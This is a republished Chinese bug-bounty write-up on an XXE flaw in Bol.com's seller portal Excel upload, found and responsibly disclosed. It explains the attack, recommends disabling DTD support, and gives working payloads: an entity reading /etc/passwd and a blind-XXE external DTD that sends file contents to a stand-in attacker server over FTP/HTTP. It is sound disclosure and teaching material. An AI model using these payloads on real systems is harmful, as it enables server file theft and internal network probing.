您好,登錄后才能下訂單哦!
如何發(fā)現Bol.com網站的XXE漏洞并成功利用,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
像往常一樣,我們需要一個好的目標。Bol.com是荷蘭最大的電子商務網站之一。他們對我提交的開放式重定向錯誤報告的處理非常積極;快速的回復,修復并始終向我發(fā)送更新。沒有任何額外的麻煩,沒有NDA保密協(xié)議,輕松愉快的語氣??梢哉f這是其他公司處理負責任披露的完美范例。也是一家你 值得加入的公司。
在開始正式的內容前,讓我們先來了解下什么是XXE,LFI和RCE。
本地文件包含(LFI)是在服務器響應中顯示內部服務器文件的過程。遠程執(zhí)行代碼(RCE)是在服務器上執(zhí)行我們自己代碼的過程。
通常LFI錯誤會導致RCE;有很多技巧可以用來將LFI升級為RCE。
RCE漏洞會對服務器安全帶來巨大的威脅,因為它可能會最終導致完整的服務器接管。盡管大多數服務器在訪問受限的帳戶下執(zhí)行來自Web服務器的代碼,但操作系統(tǒng)本身仍時不時會存在一些缺陷。允許繞過此特定訪問限制的缺陷。你可能在過去使用過這種類型的bug;通過在iPhone上越獄iOS或root你的安卓手機。兩者都是利用了bug來接管操作系統(tǒng)。我們將此類攻擊稱為提權。
XML外部實體(XXE)攻擊基于擴展XML文件,加載本地文件和外部URL。它可能會導致LFI和RCE,因此它同樣具有很大的威脅性。雖然XXE攻擊發(fā)現于十多年前,但至今你仍然可以在許多網站上發(fā)現這個漏洞。
可擴展標記語言(XML)
XML是一種標記語言,允許創(chuàng)建計算機和人都易于閱讀的文檔。雖然有人說這種語言已經過時,但直到現在仍有許多地方在使用它。
如果我們仔細查看該示例,會注意到contents在標記之間,例如<body>contents</body>。因此,我們應該轉義標簽內的特定字符。否則,將有可能被人惡意注入標簽并操縱整個XML文件。默認情況下,XML會將<>&'"字符轉義為類似&lt;&gt;&amp;&apos;&quot;的實體。因此,我們仍可以在不破壞XML文件的情況下使用字符。
XML有一個很好的功能,就是允許我們通過在XML文檔中包含Document類型定義(DTD)來定義我們自己的實體。如下所示。
DTD 示例:
Example DTD <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY body "Don't forget me this weekend!" > ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body> </note>
但是如果解析器允許我們定義文件而不是字符串呢?結果將是實體被文件中的內容替換。通過更改<!ENTITY body "Don't forget me this weekend!" >為<!ENTITY body SYSTEM "file:///etc/passwd" >一些解析器將會向我們直接顯示/etc/passwd文件的內容。
除了LFI,一些XML解析器還允許我們加載外部URL;只需用http://替換file://字符串即可。webserver將請求此URL。這可能會導致SSRF攻擊;你也可以請求內部webserver,掃描開放端口并映射內部網絡。你是否能夠訪問到包含元數據的本地webservers?如果是那么恭喜你,你最終可能得到 25000美元的漏洞賞金。
其他可能性是通過PHP模塊直接獲取RCE和拒絕服務攻擊。
上述LFI攻擊只有在我們的輸入返回到某個地方時才可行。否則我們無法讀取被替換的實體。如果遇到這種情況,可以使用以下技巧來泄漏數據。
盲XXE?通過HTTP/FTP請求外部DTD泄漏數據
所以服務器會解析你的XML,但沒有向你顯示響應中的內容?
由于你可以加載外部DTD,因此你可以將自定義實體附加到外部URL。只要URL有效,它就會加載附加了(文件)內容的URL。請注意像#這樣的字符會破壞url。
XXEserve
XXEserve是一個由staaldraad創(chuàng)建的用于捕獲XXE請求的一個非常棒的工具。它是一個簡單的FTP/HTTP服務器,會顯示所有我們對服務器的請求。它還偽造了一個FTP服務器;由于字符串中字符的原因,HTTP有時會失敗,FTP則會保持正常工作。
1.在公共服務器上安裝XXEserv
2.創(chuàng)建包含要泄漏的文件或(內部)URL的外部DTD文件(即sp2.dtd)。將x.x.x.x替換為服務器的IP地址或主機名:
<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
3.將此外部DTD文件放在XXEserv目錄中。XXEserv充當公共ftp和Web服務器;所以我們現在能夠鏈接這個文件。
4.將XML payload發(fā)送給受害者,包括我們的外部DTD:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE r [ <!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd"> %a; %c; ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body> </note>
5.觀察XXEserv的輸出
如果想查看不同變種的XXE payloads,請點擊此處[1][2]。
我們需要找到一種方法將我們的XML代碼上傳或注入到Bol.com。我們可以從他們的“賣家門戶”入手。大多數情況下,賣家能夠上傳與其產品相關的圖片或其他文件。
網站的這一部分允許用戶上傳準備好(再次)銷售的產品。
一句簡短的荷蘭語:'Aanbod beheren via excel'意思是“在excel中管理庫存”。
此界面共包含有三個步驟:
1.下載包含當前庫存的Excel文件
2.上傳更改的Excel文件
3.查看上傳結果
Excel文件的擴展名為XLSX。這是微軟開發(fā)的一種開放文件格式;它是一個包含多個XML文件的zip文件。
讓我們解壓這個文件。
如果我們打開sheet1.xml,我們將看到以下代碼。
假設我們想嘗試將/etc/passwd的文件內容注入到Offer描述中(這是G4單元格,請參閱原始Excel工作表)。
正如我們在圖中所看到的那樣,字符串'Sample description'被id 108引用。讓我們將自定義實體添加到該工作表中,并將此單元格值替換為我們的自定義實體。
我們保存文件,再次壓縮文件夾并將文件重命名為xlsx。
讓我們看看如果我們在步驟2中上傳文件,讓它加載,然后從步驟1再次下載文件會發(fā)生什么。如果XXE攻擊有效,它將更新我們的示例產品(Excel中的第4行)并將/etc/passwd的文件內容注入到產品的標價說明當中。
可以看到我們成功獲取到了/etc/passwd中的內容?,F在是時候撰寫報告并通知他們了!
下一步是檢查服務器是否是支持云元數據,檢查包含API密鑰的配置文件,并查看是否可以從LFI升級到RCE。
但由于該結果已對目標有足夠的影響,因此我決定立即通知Bol.com。我詢問他們是否需要我進一步的測試并將此升級為RCE。但在他們回復之前,錯誤已經被修復:-)
如果我們嘗試解析目錄而不是文件(即<!ENTITY body SYSTEM "file:///etc/">),Bol.com使用的XML解析器將返回文件名(作為一個大字符串)。這使我們能夠快速枚舉服務器上的所有文件,而不需要爆破文件名。
可以在大量文件中注入XXE payload。因此,每次上傳圖片都是潛在的XXE漏洞。Buffalo創(chuàng)建了一個很不錯的工具,可幫助你將XXE payload輕松地嵌入到所有這些不同的文件中。
通過編輯XML文件,我們能夠在上傳中將本地服務器文件的內容作為字符串包含在內。之后我們能夠下載此文檔,因此我們能夠從其中一個生產服務器讀取私有文件。
最佳解決方案是禁用XML解析器中的任何DTD支持。更多內容請參閱OWASP對不同解析器及其配置的概述。
- 本地文件包含
- 可能執(zhí)行本地拒絕服務攻擊(未確認)
- 可能的RCE(未確認)
- 可能的SSRF(未確認)
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。